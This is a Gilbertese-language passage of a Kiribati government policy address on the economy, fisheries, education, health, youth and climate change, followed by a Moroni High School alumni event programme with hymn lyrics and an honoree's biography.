a kakaokoro.\nI a tabeka bwanaau n te tai aio nakoimi ara taan mwakuri n te Tautaeka. E rangi n kakawaki tibangami ibukiia ara botanaomata. E aki kona ni bane te makuri ae tamaroa ibukin tobwaan kainanon te botanaomata. Tia bane n karin angira n te tai aio ao man kaakea tauan inaomatara ao man karaoi ara beku nakon are iaon te kabanea n tamaroa, bwa akea tian ao tokin te tamaroa ao ngaira taan katea te banna ae tina kaotiira iai bwa ti taua ma nanora nakon tibwangara ao ti beku mwaka ibukin tobwaan kainanoia ara botanaomata.\nTOBWAAN KAUBWAIN KIRIBATI AIKA A KAKAWAKI\nE kakawaki bwa e na tobwaaki raoi kaubwain Kiribati n aekaia nako ibukin karikirakean te maiu raoi ao kauarerekean te maiu ni kainnano ao ni kakaokoroaki. E kakawaki naba bwa ana iai te rikirake n te kaubwai, ao bon taben te Tautaeka tobwakin raoi kaubain Kiribati n aekaia nako n aron te ika ma kaubwaira mai taari, te ununiki ma kaubwain aon te aba, ao ai ara botanaomata aika a rangi ni kakawaki n te aro ae ana teimatoa.\nTe rikirake n te Kaubwai (GDP Growth)\nE na kekeiaki Te Tautaeka ni karikirakea kaubwain te aba (GDP growth) are e na ibuobuoki ni kaitara rikiraken boon te maeu (inflation), te botanaomata (population growth) ao te aki mwakuri (unemployment). Ni kaineti ma rikiraken te kaubwai (GDP growth), ao e kakawaki ae e na karababaki aron uakoraan te rikirake, tiaki n ti taraa te kaubai are e kabooaki n te mwane (economic) ma n tarai naba iteran kaubwaira ake aki kabooaki n te mwane n aron te katei (social) ma te otabwanin (environmental). Are nanona bwa e na kaungaaki te rikirake ae e ikarebai ibukin uaiakinan te rikirake ae e na teimatoa (inclusive growth for sustainable development).\nE na katamaroaki kantokan bwaai n te aro bwa ana akea te kakaokoroaki, ao n reitaki naba ma karaian kaako. E na kaungaaki te karikirake ae kakeaan te angabwai (tax free zones) n tabo ake ana kabirimwaka te rikirake, ao te karaobwai man kaubwain abara ao ake a kona naba n reke mai tinaniku.\nE na kamaitaki riki karekean mane ni buoka ao ni katamaroaki tararuia iaan tuan te mwane, ao ai uana naba ma te mwane ni mwakuri bwa e riai ni kabonganaki raoi ni buoka kainnanon te I-Kiribati ao ni kaungai karikirake aika a bongana ibukin karakaan te kabwaia.\nE na karababaki riki anga n karekemwane ibukin kanakoraoan taben te Tautaeka n aron taian tiaati aika riai man te kibakiba n ara karawa. E na katamaroaki tararuan ao karikirakean te mwane n tania n te aro bwa e na kona n ibuobuoki nakon te botanaomata ae ngkai ao n aki aonikaia naba te roro ae na roko.\nKaubwain abara ae te ika n reitaki ma kaubwai mai tari\nAbara ae Kiribati e bon rangi ni bubura ana marawa ni kabotauaki ma buburan abara. Ngaira kaain Kiribati ti kakabaiaki ba ti anganaki te tibanga ae moan te kakawaki are taan tararua te marawa ae bubura ma marina (custodian) are inanona are te ika ao aekan kaubaira riki ake a kona n reke mai taari. Kaubaira riki ae te ika boni ngaia oin maiura ao a riai ngkanne n tararuaki ao ni karikirakeaki raoi ibukin kabatiaan ara karekemwane ao ara tania ni maeu ibukia ara botanaomata.\nE korakora ana iango te Tautaeka aio n uarorokoa te I Kiribati ba e na kona ni bon akawa oin ara ika, ao man kateimatoa raoiroin ara ika ma marin taari are ana kona ni maketenaki boni i abara ikai ao i tinaniku naba. Kakoroan bukin aio, ao te Tautaeka e kaungaia tani karikirake ao bitineti n te akawa mani kakorakora riki ana buoka nakoia te botanaomata ibukin katauraoan bwaai n akawa ma rabakau n akawa, ao anga ni kateimatoan raoiroin te ika are e kona n rianako iai aron ana karekemane te tia akawa.\nTaan karikirake mai tinaniku a katikaki nanoia nakon abara ae Kiribati ibukin marin abara ae tiraua ae te ika ni marawa. E tauraoi Te Tautaeka ni kaungai rokoia taan karikirake aikai iaan karikirakean riki taabo ni karaoi ika I abara ikai ba ngaia ae e na buoka riki aron te kammakuri nakoia ara roron rikirake ae a tabe n rikirake. A na aki ti makuri n aron karaoan te ika ma a na rikirake naba rabakauia iaon aron karaoan bwaai ni makuri ma bwaai ni karao ika. Ara taakete bwa Kiribati e na kinaaki ae ngaia naba te aba teuana n te Betebeke ae ana ika e oro naba raoiroina ma kangkangina.\nTi na karikirakea naba aron kabobongan ara matabaiawa irouia kaibuken tinaniku ba a na kona n roko ni kannanna ao mani karekei iai aia kaako ma aia bwaa ao aia ran n te aro ae e na kinaki abara ba e tauraoi naba ni bubutimwaai.\nIai naba te kataratara ibukin karababan riki aekakin te karekemwane man ara marawa are e irekereke ma anakin kaubwain marawa ke te deep sea mining. Aio ngkana e bobonga raoi ao e na kona n kamanoa akawakin ara marawa n te aro ae e na teimatoa kaubwaira ae te ika.\nE na teimatoa kamanoan marin abara man taian mwakuri n aonikai rinanon kanakoraoan ao kamatoan ara tua are teuana mai buokona bon kamanoan te ika ae te bakoa. Ai arona naba ma katamaroan te tararua ke bureitimaniakin ara marawa n reitaki ma aaba mai tinaniku ake ana kona ni buokira ma nanoia ae tamaroa.\nTe Ununiki\nE na kaungaaki unikan kaain abara ao kain amarake ake a kona ni kateimatoa rereken amarake aika a baeranti ao a bongana nakon te maiu ao te marurung. A rangi ni mwaiti bonganan te ununiki ba e aki ti totokoa tataren te amarake ae kamarurung, ma e na kateimatoa naba te karekemwane, ao te mwakuri ma te ibuobuoki nakon kanganga ma kabuanibwai nakon te rikirake.\nAna buokaki taan ununiki ao taan maniman n itera aika a mwaiti, ao e na kaungaaki katean taabo ni karaobwai n tabo ake a kaubwai n te uanikai ao te maniman (comparative advantage), ao e uarereke te kabanemwane (opportunity cost) ibukin karaoakia. Ana kabonganaaki raoi aaba ake akea kainnanoaia iroun te Tautaeka, n reitaki ma te aba are I Biti, ao ni kaungaki te iokinibwai bon iaon Kiribati, n reitaki ma Banaba ao Rabi. E na kaungaaki naba unikan te nii ma kain amaraken Kiribati, n te aro ae tabwanin (integrated) bwa e aonga n teimatoa te maiu raoi nakon te I-Kiribati.\nTe Reirei\nTe reirei bon kingin te kabwaia ao te rikirake nakon te maiu raoi ae tamaroa riki. Bon kaini katikun te I-Kiribati ni koaua ibukin taai aikai ao ai moarara riki taai aika a na roko. E a rikirake ni bobuaka te reirei n te aro are a bon rangi ni mwaiti ataein Kiribati ake aikoa reke rooia e ngae ngke e korakora wanawanaia ma aia tarena n te reirei. Man te koaua ae kakawaki aio, ao e na teimatoa te Tautaeka n tobwa ao ni karikirakea te reirei n itera aika a kakaokoro.\nE a tia ni waaki te kamatebwai ao te maroro ma te botanaomata iaon katean Te Tua n te Reirei ibukia ataei ake a uarereke, ngkai e bwaka taekan te karinan n reirei aio man Te Tua n Reirei are e uotakirake n 2013. E teimatoa ni waaki te kataneiai ibukia taan reirei n te karinan aio, ao e na katamaroaki riki. N tian te Tua ao katamaroan itera nako ibukin kanakoraoan te waaki n reirei iaon te karinan aio ao e a kona ngkanne Te Tautaeka ni karaoi ana babaire ibukin karekean booia taan reirei irouia ataei ake a uarereke. E na katamaroaki naba mwengaia ma aia bwai ni makuri taan reirei ni kabane, n te aro bwa e na tikotikonaki te kabanemwane.\nE korakora te kakaokoroaki n ana kona te karo ni kabaka roon natina, ma ngaia ae e a tia n baireia Te Tautaeka ba e nang aki roo te ataei are e bwaati ana bwi nakon te koraki 4 nakon 6 n reirei ni kabane I aon Kiribati. E a tauraoi n nako aio imwin tian kabwatan te kataumwane n te auti aio. E na teimatoa te ibuobuoki nakon buokan boon aia bwai ataein te reirei ma e na katamaroaki riki. Ana kaungaaki ataei ake iai aia tarena ae tamaroa ba ana kona n reita nako karaoan aia reirei ni karekei aia beeba aika a bubura. E na kawaekoaki naba ni kamatebwaiaki aron tabeia Kometen te reirei iaan te Tua ao n karekeaki naba kaniwangaia nakon aia mwakuri ae kakawaki ibukin kanakoraoan te tararua ao te rikirake n te reirei. E na ibuobuoki Te Tautaeka nakon aia reirei ataei ake a toara bain rabwataia ni mwaitin korakorana are e kona n ibuobuoki nako iai n te tai teuana ma teuana. Ao n taraia bwa ana aki katinanikuaki man te waaki.\nTe Aoraki ma Katoki Aoraki\nE teimatoa te aoraki iaon abara ae Kiribati, ao e rangi ni kakawaki ae ti na mano man aoraki nako ngkai e uarereke abara ma ara botanaomata. Ma ngaia ae e na riai ni kabatiaki te ibuobuoki ao te kakamwakuri iaon totokoan aoraki irarikin ae e wakinaki ibukin katokana. Te aoraki irouia ataei aika uarereke n reitaki ma aorakia aine ao ai bon karotona riki aoraki aika aki ewewe ke te NCDs ake a riki ba kakamaku ao taan tiritiri nakoia ara botan aomata.\nI bukin kakawakin tuan te mauri ao ni kauarerekea riki te kabuani bwai nakon maiuia ara botanaomata, ao e na riai ni moanibwaiaki katamaroan bwaai ni makuri n te onaoraki ni kabane, n reitaki ma karekean mitin ao taan ibuouboki aika a mwatai ni kamwakuri bwaai ni mwakuri aikai. E na teimatoa te kataneiai ao karakaan te tia mwakuri ao katoamauan taabo ni kuakua iaon Kiribati. Ao e na moan bwaiaki kanakoraoan te naan tiweti n onaoraki ni kabane n reitaki ma baunaia aoraki. Ao I kukurei n taekinna ba e nang waaki karekean boon baunaia aoraki ake a karinaki n te onaoraki are i Betio.\nBoutokaaia Ara Roro Ae E Rikirake\nTi bane n kakoaua bwa kaubain abara ae Kiribati e aki rangi n mwaiti, ma ti bane naba n ataia bwa bon iai kaubwaira ae e rangi n mwaiti ao moani baan te kakawaki ae ngkami ara Roronrikirake. E bon riai ae tina kabatia te boutoka nakoimi ngkami ara Roronrikrake ngkai bon ngkami ara botanaomata are kam na riki bwa manga taan kaira Kiribati nakon taai aika ana roko.\nNgkana ti tarai aaba aika irarikira ao aaba n te aonnaba aika a rangi n rikirake ao tina kakoaua bwa e bon boboto rikirakeia man rabakauia ao aia botumwaka aia taan kairiri ao te botanaomata ni kaunga ao ni karikirakea te takakaro. I bukin kakawakimi te Roronrikirake ao iai ara Motinnano bwa ana kateaki taabo ni kataneiai ae e tau mwaitia iaon aban nako Kiribati, ao ni kaungaaki te reirei ibukin karikirakean ami tarena aika a kakaokoro irarikin are te rabakau man te reirei ke te formal education. E na teimatoa kaungaakin te iwawaki n n takakaro I aon abara aio ao kakaean kauaaba itinaniku bwa e aonga n teimatoa te unga n nano, te rabakau ao te tarena n takakaro.\nKARIKIRAKEAN AO KATEIMATOAN TE MAIU RAOI NAKOIA ARA BOTANAOMATA\nE na kamarurungnga te Tautaeka ni kakaei aanga ake ana kateimatoa te maiu raoi nakoia ara botan aomata.\nBuokan te mwenga n itera aika a mwaiti bon teuana te anga ni katoka te maiu ni kainnano, ai ngaia ae e na karekeaki te buoka nakoia ataei ngke a moa ni bungiaki nakon ae e koro nimaua te ririki. Ae waaki te kamatebwai iaon aei, ao e na moanaki karaoana ngkana e bobonga raoi te kamatebwai. Ai tibwa te moan waaki ae e tuai ni kakaraoaki aio, ao e bon riai bwa e na karaoaki raoi. Te ibuobuoki nakoia kaara, e na tiku moa n arona ma e na karaoaki te Tua iai, bwa aonga n tobwaaki raoi kaara ma aia kanganga. Ao te buoka nakoia mauku ae iaon naba kawaina n kabobongaki.\nI kukurei n taekinna ikai bwa kanoan ara Motinnano are karakan boon te takataka nakon $2 e a bon tia n mwakuriaki ao e na kakoroaki nanona imwin kabwatakin te kataumwane. Te kantaninga ikai bwa ti bane n ibuoka n iango ibukin kanakoraoan te rikirake ae tamaroa ibukiia ara abamakoro nako ao anne e a bon moa naba man kanakoraoan aia kareke tianti ngkami ara botanaomata. Bwa ngkana e noraki ao man namakinaki te rikirake ae e tamaroa iaon ara abamakoro nako ao e na uarereke kan kitanakin ara abamakoro ao e na uarereke tangiran te kan roko iaon Tarawa.\nE na katamaroaki naba booia taan mwakuri ao tuua ake ana kamanoia taan mwakuri man te bainikirinaki. Ao aio e na kona n karababa ara taratara iaon kaetakin aroia taan mwakuri aika a teimatoa n katoamaua te waaki ao man aki kona n reke irouia te kaniwanga are e rereke irouia taan mwakuri aika a matoa. E na karaoaki te tia ni bo mai nano, ao ni katamaroaki boraraoi iaon taian kammwakuri. E na tobwaaki naba aia kanganga ara botanaomata aike a mwakuri n aaba itinanikun Kiribati n aron te kanganga n te mamananga, katamaroan riki booia ao kabatian riki taabo ni kammwakuri ke tenaan agencies.\nBoutokaan ao kamanoaia aine e na teimatoa n riki ba tabetaben te Tautaeka ae e kakawaki. Ana boutokaaki aine ao bon mwane naba bwa e na bati aia aanga ni karekemwane man aia tarena ke aia kakamwakuri n karaoi bwaai man taboni baaia n aron bwaai ni Kiribati, te waewae, te kamwarake, te karekemwane rinanon te mwakete n te ununiki, te maniman ao a bati riki.\nE na reitaki nako te buoka nakon aia auti ni maeka taan mwakuri iaon Tarawa ma Betio, n aron ae e waaki ngkai, bwa e aonga n teimatoa te mweraoi irouia taan mwakuri ibukin karaoan tabeia ae kakawaki ibukin te botanaomata. Ao e na kaungaaki te Botaki n Auti n kakaei ana kawai n ibuobuoki ibukin kamweraoan te tia mwakuri.\nIai naba raora aika a rangi n kakawaki aika Botakin Aaro ao Botaki aika Inaomata (NGOs) ake bon ngaaia angatain te Tautaeka ibukin tobwaan te botanaomata n itera aika a mwaiti. E kukurei Te Tautaeka n uataboa tibwangami ibukin te Botanaomata, ao ibukin aio, ao e a tia ni karakaaki te buoka nakoia Botaki n Aro man ni mabubua tenga ($500,000) nakon teuana te mirion ($1m). Bon akea au nanououa bwa rakan te buoka nakoimi e na kabirimwaaka riki ami waaki ao ni kabebetea naba uotami ibukin tobwaan kainanoia ami botanaomata.\nAna katamaroaki boon ritin aaba iaon Tarawa Teinainano ao Betio, ao ake e ritini te Kauntira, n reitaki ma toma ni kawai (access road), ao ni karekeaki karikirake ibukia taan ababa iaon Tarawa Teinainano ao Betio ake ana ibuobuoki nakon karekean aia mwakuri.\nTe Aono Raina ao Rawaki\nE korakora ana iango te Tautaeka aio ni kan karikirakea te aono are Mainiku ibukin kabirimwaakan te rikirake rinanon te kaneweaba ao te akawa ao a mwaiti riki, ao e , kakawaki tobwaan aia kanganga taan mwakuri ao taan maeka n itera aika a kakaokoro.\nTe bao ni mamananga ao te aro n itoman ae nakoraoi e na kawaekoaki ni kanakoraoaki. E kakawaki bwa e na kanakoraoaki te kairiri ma te tararua iaoia ana botaki n mwakuri te Tautaeka iaon Kiritimati, ao aio are e na anganaki te Tabo ni Mwakuri I Kiritimati te mwioko aio. Kantokaia taan mwakuri ngkana a motirawa ma aia mwane ni motirawa e na katamaroaki, ao n reitaki ma kanakoan te riiti ibukin te maeka ao te bitineti n aron kainnanoia ae riai. E na karikirakeaki te Aono are I mainiku bwa te tabo ni kaneweaba ao ni karikirake I bukin kabwaian Kiribati nakon taai aika a na roko.\nBIBITAKIN KANOAN BONG\nE a teimatoa n rotaki te aonnaba n reitaki ma Kiribati n bibitakin kanoan boong. Rikiraken te kabuebue ma iabutin taari ao bibitakin kanoan boong n te tai teuana ma teuna e bon roota aron te maiu ao te rikirake. I aoni kawaina ni barongaaki te Motinnano ke te policy iaon te itera aei. E kakawaki ae bon iai te Motinnano iaon aei are e na kona n tobwa raoi ana kanganga te I-Kiribati, ngkai e kakoauaki bwa e aki bebete totokoan ana urubwai bibitakin kanoan boong, bwa e rooti tabo ni kabane, e kakamaku ao e aki kona n ataaki raoi rokona.\nMa e kakawaki bwa e na waaki te Tautaeka n te aro ae e matata raoi, ao n iri nanon naba Motinnano ao boraraoi imarenaia aban te Betebeke ao Te Aonnaba ni kaineti ma waaki n totoko ao ni kamanomano nakoia ara botanaomata ake bon ngaia ae ana bon rotaki maiuia ao kabwaiaia man n rikiraken kabuebuen taari, aon te aba, ao man urubwai mani kanakinakoan mataniwin aaba ao ai man taian angibuaka.\nBUOKAIA KAUNTIRA AO TIBWATIBWAAN TABEN TE TAUTAEKA\nIaan ara Motinnano ao e na bon iai mwakurian kanakoraoan ana waaki te Tautaeka Inanoa ke ngkami ara Kauntira. N aron are I mwaneweia n tain ami babaro, ngkami ara Kauntira kam rangi n kakawaki ibukin mwakurian rikiraken te kabwaia nakoia ara botanaomata. Kam mena irarikia ami botanaomata nte bong teuana ma teuana ao ngkami moan matara ibukin kainanoia ami botanaomata n ami abamakoro aika kakaokoro. Te bwai ae rangi n kakawaki bwa tina ikarekebai ao tina beku mwaka ibukin rikiraken ara abamakoro (island economies) bwa marurungin te waaki iaon ara abamakoro bon marurungin naba kabutan ana waaki te Kauntira.\nE na teimatoa te ibuobuoki nakoia Kauntira ni kabane iaon Kiribati n aron te buoka te mwane ke te support grant, ao iai te iango ibukin kaboami Meeia ao Kauntira ao aio ae e a waaki n kamatebwaia te Tautaeka ma rabata ake ana kona ni katamaroa te itera aio n taraaki naba ma karikirakean te Kauntira bwa e aonga ni kona n marurung ao ni korakora n bon tei iaon waena ni kona ni karekei mwakuri ma tieweti aika ana kaunga te tiku ni karikirakea te abamwakoro. E na kamarurungnga naba Te Tautaeka aio ni karekei ana bwai ni mwakuri te Kauntira aika a toamau ibukin karaoan te kawai, te bono ao a mwaiti riki.\nTe Waaki ni Bitineti\nTina aki maninga ara botaki n Bitineti aike ngaia angatain ao intinin te rikirake. Tina teimatoa n mwakuri ma ngkami bwa e aonga n nakoraoi te waaki n bitineti are e na kona n tobwa kainanon te botanaomata ao man katabangaka te kabwaia nakoia ara botanaomata. Iai mwiokoara ngaira ni kabane bwa tina karaoa raoi tabera ibukin te botanaomata ao te kantaninga ae bati bwa anne ae tina uaiakinna ngaira ami Tautaeka ma ngkami ara botaki n Bitineti. Ana waekoa ni katamaroaki tuua ma babaire bwa a aonga n unga taian bitineti ni karaoi aia karikirake ake ana buoka kabatiaan te mwakuri ao te kareke tianti. Ana kaungaaki naba bitineti aika a uarereke. Ao e na karekeaki te mane ke te buoka nakon te DBK, ao ni katamaroaki ana waaki n ibuobuoki iaon te reirei ao ibuobuoki ni kamarurung nakoia bitineti ao te botan aomata.\nKAKORAKORAN KABUTAN TE WAAKI\nTina bane n kakoaua bwa kakoroan nanon ara Motinnano aikai e kainanoi mwakurian itera aika mwaiti. Ti nora kainanoan katamaroan Riin te Waaki n karikirake (Infrastructure) bwa akea bonganan ae a rangi n kakamwakuri ara botanaomata n aia abamakoro ao ai akea aanga n karokoi mwin aia kakamwakuri nakon aon Tarawa ke nakon aaba itinanikun Tarawa. E teretere man ara Motinnano bwa tina mwakuri ni katamaroai bao n mamananga ao I kukurei n taekinna n te tai aio bwa e a waaki te kamatebwai iroun te botaki are tabena iaon te itera aio. Tiaki ti anne ma e bon riai naba n kanakoraoaki te tiriba ibukin kateimatoan raoiroin bao n mamananga i taari.\nTina mwakuria naba kanakoraoan te itoman tiaki ti ma aban Tinaniku, ma e kakawaki naba te itoman i bon i marenan aban nako Kiribati. E kakoauaki bwa nakoraoin te itoman ngaia ae e kabirimwaka te rikirake ao te kabwaia. Ana karaoaki taian uaabu ao ni katamaroaki ake a kainnanoa te katamaroa, ao ai uana naba ma marae ni wanikiba, kawai, ao buriiti ma kootiuei. Ana karaoaki taian rawa n akawa ao n roro n tabo ake a rangi ni kainnanoaki imwin kamatebwaiaia.\nTE REITAKI MA ABAN TINANIKU\nE na kateimatoaki te reitaki ao te iraorao ae tamaroa ma raora mai tinanikun abara ae Kiribati. Bon raora mai Abatera (Bilateral Relations) ao botaki nako mai iaon te Betebeke ao te Aonnaba ake taan uataboa rikiraken abara. Tina bane n kakoaua bwa kateimatoan te reitaki ae tamaroa ma Aaba ao Botaki aikai e na bon kanakoraoa te ibuobuoki n itera aika mwaiti ibukin uaiakinan te rikirake ae tamaroa riki. Ma te bwai ae e rangi n kakawaki bwa ngaira ae tina kaira kamanenaan raoi taian buoka aikai bwa ngaira ae ti ata kainanoia ara botanaomata ao ngaira ae tina mwakuria ao man uarokoia nakon are e kantaningaaki.\nE na kamarurungnga te Tautaeka ni karababa te reitaki ao iraorao ae tamaroa ma aban nako te aonnaba ake a kukurei ao n tauraoi n buoka Kiribati. Ti aki ti te ibuobuoki n te mwane ma e rangi ni kakawaki naba te iraorao ao te maroro n itera aika a kakawaki.\nTAEKA NI KAKAITAU\nI mwain ae I momotika au maroro ao te koaua ae I rangi n kan katurua n te tai aio bwa ngaira aika tia tia n rineaki ao n weteaki iroun te Atua ao irouia ara botanaomata, tibwangara ae e rangi n kakawaki bwa tina mwakuria rikirakeia ara botanaomata nakon te tamaroa riki. Tina buoka n iango, tina bootii korakorara ao ae e rangi n kakawaki riki tina karaoi tabera ma te kakaonimaki, te beku mwaka ao te onimaki. A mwaiti baika a riai ni karaoaki ao iai aika aki bebete karaoaia ao e na kona ni maan kakoroan nanoia, ma e aki kona ni birinako te Tautaeka man ana Motinnano ake e a tia n tuangia kaain Kiribati n tain te kaembein.\nI a tabeka te bwana n kakaitau ngai ma kaain au Kaebineti ao au Bwatei ae Tobwaan Kiribati nakoimi ara Botanaomata ibukin te mwioko ao te tibanga ae e rangi n kakawaki aio. I reita te bwana n kakaitau nakoimi raora n Tia Tei aika kam karineaki ibukin te nano n ibuobuoki iaan katabeara ibukiia ara Botanaomata. E na kona n iai te kakaokoro n iango ma au kantaninga bwa aikai a boboto iaon kanakoraoan ao kabutan raoi te waaki.\nAu taeka n kaunga nano nakoia ara Taan Mwakuri aike ngaia ae a na buoka kakoroan nanon ara Motinnano. Tina karaoa ara kabanea n tamaroa ibukin tobwakiia ara botanaomata. Ao ai bon au kaitau nakoim te Tiibika inanon am beku ibukin kanakoraoan aia bowi taan Tei. Ao ngkami ara botanaomata, raora ngkami n taai nako inanon te kukurei, te rawawata ao te kabwaia.\nTe Mauri, Te Raoi ao Te Tabomoa I aora ni kabane.\nKam Bati N Rabwa.","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.pso.gov.ki\/index.php\/2016-06-06-03-24-29\/2016-06-06-03-31-09.html","date":"2017-04-28T13:53:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122992.88\/warc\/CC-MAIN-20170423031202-00000-ip-10-145-167-34.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":4490,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.198,"stopwords_ratio":0.395,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"2\nCONDUCTING:Mr Peter Birati, Former Vice Principal MHS, BYUH \/AKAS Alumni Chorister:Bouri Tebao, AKAS Alumni Opening Song:\"Moroni is Our Name\" Opening Prayer:Ms Teera Bakoauea Liahona High School Alumni WELCOMING REMARKS…..Kamatoa Babo, BYUH Alumni Speakers: a)State of The LAMB Union SpeechArobati Brechtefeld MHS Class of 1991 b)History of Moroni High SchoolNei Lita Iabeta, Principal MHS c)Chronological History of MHS Administrators etcNei Taraia Tanging, MHS Alumni SONG: \" a roko tain raure ni ngaao\"Bro Bouri Tebao\n3\nd) HONOREES By Kairao Ribauea Tune, MHS Alumni a)ANA TOKABETI TE LAMB ALUMNI Teutu Tekaai RemueraAKAS Alumni and Business Woman Terengaiti Eritara BaboLiahona Alumni, AMAK Vice President, KGV Teacher Nei Kaingoa TunetiAKAS Alumni, Fomer Teacher MHS b)ANA TOKABETI TE LAMB ALUMNI Matiota KairoMHS Alumni, Former DS, Honorable MP TAMANA Is Tito BiraAKAS ALUMNI\/Administrator, MHS PF, Retired CHEF Titi Beniata RimonLong Serving MHS English Teacher GUEST SPEAKERArieta Tekaura, Class of 2007 2011 USP Graduate Closing Song:Iai Otan Taai Closing Prayer:Ms Mita TEMWAKEI, Liahona Alumni\n4\n1. MORONI IS OUR NAME WITH COLOURS WHITE AND BLUE PROGRESSION IS OUR GOAL AND EVER WE'LL STAY TRUE 2. WE'LL SERVE THE LIVING GOD AS MORONI DID OF OLD AND KEEP OUR COLORS BRIGHT LIKE SKIES OF BLUE AND WHITE\n5\nMORONI TRUE AND STRONG GO ON TO VICTORY AND SING A TRIUMPH SONG IN LIVES OF LIBERTY\n6\n3. AS WAVES ROLL TO THE SHORE IN STRENGTH AND BEAUTY GLOW WE'LL SET OUR COURSE IN LIFE AND MAKE MORONI GROW CHORUS. MORONI TRUE AND STRONG GO ON TO VICTORY AND SING A TRIUMPH SONG IN LIVES OF LIBERTY\n7\n4. AS OCEAN REEFS TODAY GREAT ISLANDS THEY BECOME OUR LIVES, MORONI TOUCHED WILL LIFT US EVERYONE 5. YES, WE WILL FAITHFUL BE TO THE BLUE AND WHITE WE LOVE AND SING OUR TRIUMPH SONG AS GUIDED FROM ABOVE\n8\nCHORUS. MORONI TRUE AND STRONG GO ON TO VICTORY AND SING A TRIUMPH SONG IN LIVES OF LIBERTY\n17\n1. A ROKO TAIN RAURE NI NGAAO AO A NANG KIBANAKO MANNIKIBA MAN TE NANAI NI MAN AREI E NGAO IAON MANGANA E NGAO IAON TABERANA MAN TE TABO NI KAWAI AE TABUARORAE\n18\nTABUARORAE BON TE TABO NI MWAANE TE TABO AE MOAMOA N ARON TAEKANA AE RAANGA MAI IAI TE RAN AE TE RAN AE MWAITORO MANI MWANIBAN MORONI AE BON ARA REIREI\n19\n2. A ROKO TAIN RAURE NI NGAAO AO A NANG KIBANAKO MANNIKIBA MAN TE NANAI NI MAN AREI E NGAO BAURUA INUKANA E NGAO BAURUA I MAREWENA MAN TE TABO NI KAWAI AE TABUARORAE CHORUS: TABUARORAE BON TE TABO NI MWAANE TE TABO AE MOAMOA N ARON TAEKANA AE RAANGA MAI IAI TE RAN AE TE RAN AE MWAITORO MANI MWANIBAN MORONI AE BON ARA REIREI\n22\nNei Teutu Tekaai bon ngaia naba te moan aine are ira buakon te moan kurubu n ataei ake a rineaki n te nako n reirei n te Liahona High School i Tonga n te ririki 1972. Nei Teutu Tekaai e moana a na reirei n te moan rinan n te Bairiki Primary School. E kabanea ana koraki 6 n te moan rinan aei. E mamaeka i Bairiki irouia tamana ma tinana aika Ten Tekaai ao Nei Baranika. Bon kaain Maiana Neiei ma ana utu. E aki reke rinna ni kaurinan nako iaon Tarawa ao itinanikun Tarawa imwiin ana moan rinan.\n23\nE a manga reke rinna n te reirei ae te Auriaria Kokoi Ataria School n te ririki 1970 ao maikanne are ea moana ana reirei iai. Bon uoua te ririki ae kabanea Nei Teutu Tekaai n te reirei aei. E nooraki a na konabwai Nei Teutu ao e a rineaki bwa ngaia naba temanna te aine n ira te moan mwananga nako Tonga. Ti teniman aine ake a rineaki ni mwananga n te tai anne aika a raona bwa Nei Karaititi Kaino ao Nei Marinoa Iotebatu. Iai raoia mwaane aika onoman mwaitia, bootaia ni kabane bon ruaman.\n24\nE bane ana reirei Nei Teutu Tekaai n 1976 ao e a okira Kiribati. Ngke e oki Neiei ao ea mwakuri n teuana te aobiti i n aobitin te BPA ke te kanakobwana are i Bairiki. E riki ngaia bwa te Cashier n te tabo ni mwakuri aei. E a manga kamwaingaki man te Cashier ao n riki ngaia bwa te typist ke te tia taibi n te aobiti aei. Inanon ana tai ni mwakuri Neiei ao ea manga reita ana reirei n te TTI are i Betio are te Tarawa Technical Institute aio are ibukin ni manga reiakinana riki nakoana ae te cashier ao te typist.\n25\nE nooraki Nei Teutu bwa te tia mwakuri ae kakaonimaki ao ea manga karikirakeaki nakon are i aona riki are ea reke bwa ana permanent PA ke ana Personal Assistant nakon te manatia n te tabo ni kanakobwana. E a manga mwaing Neiei ao ni manga mwakuri n te Works i Betio. E rangin maan mwakuri Neiei ao kamwaingingaki nakon Ministries aika bati ao n riki ngaia bwa te Senior n nakoana aei. N te ririki 2005 ao ea resigned man nakoana aei.\n26\nI bukin ana konabwai ao ana mwakuri aika a raraoi ao nanomwaakana ao e buoka buuna ae Remuera Tateraka ni kabutan aia bitineti. A moana katean ao kabobongaan aia bitineti ma i Maiana ao ni karokoa ea rikirake ao a manga katei mwaangana nako iaon Tarawa. Ngkai kam kona n noori mwangan nako te titoa aei bwa iai ana main i Betio, iai Bairiki ao Bikenibeu.\n27\nN te ririki 1979 - E mareaki Nei Teutu Tekaai nakon buuna ae Remuera Tateraka ae kaain Maiana. A iein naakai bwa e matanaki Neiei irouia ana koraki Remuera. Iai naatia aika niiman bwa aman mwaane ao temanna te aine. Aikai araia, Naatia Koraubati 29 ana ririki, Tamaroa 27 ana ririki, Teurinta 25 ana ririki, Tateraka e mate ngke e class 2 n te Primary, ao ai te bina ae Tateraka 16 ana ririki. Ea tibuna ao a tiku ngkai mwiina natina ma tibuna. Nei Teutu Remuera Tateraka e mate n te ririkik 2007 n aorakina.\n28\n1. Iai otan taai inanon tamneiu E mimitong man ota raoi Ibuakoni bwain aonnaba Bon otani Iesu Chorus Iai otan taai ni kakabwaia Inanon te rau ni kukurei E kaota moangarena Iesu Iai otan taai n tamneiu\n29\n2. Iao au anene n te bong aio Bwa Neboan au Uea Ma e kona n ongo naba Iesu Ngke iaki anene Chorus Iai otan taai ni kakabwaia Inanon te rau ni kukurei E kaota moangarena Iesu Iai otan taai n tamneiu\n30\n3. Iai te rikirake n tamneiu Bwa e a kan te Uea Taoben te rau aika anene A raure ueen nebo Chorus Iai otan taai ni kakabwaia Inanon te rau ni kukurei E kaota moangarena Iesu Iai otan taai n tamneiu\n31\n4. Iai te kukurei n tamneiu E amiu ao e tangira E anganai te kabaia E mwemwekai rake Chorus Iai otan taai ni kakabwaia Inanon te rau ni kukurei E kaota moangarena Iesu Iai otan taai n 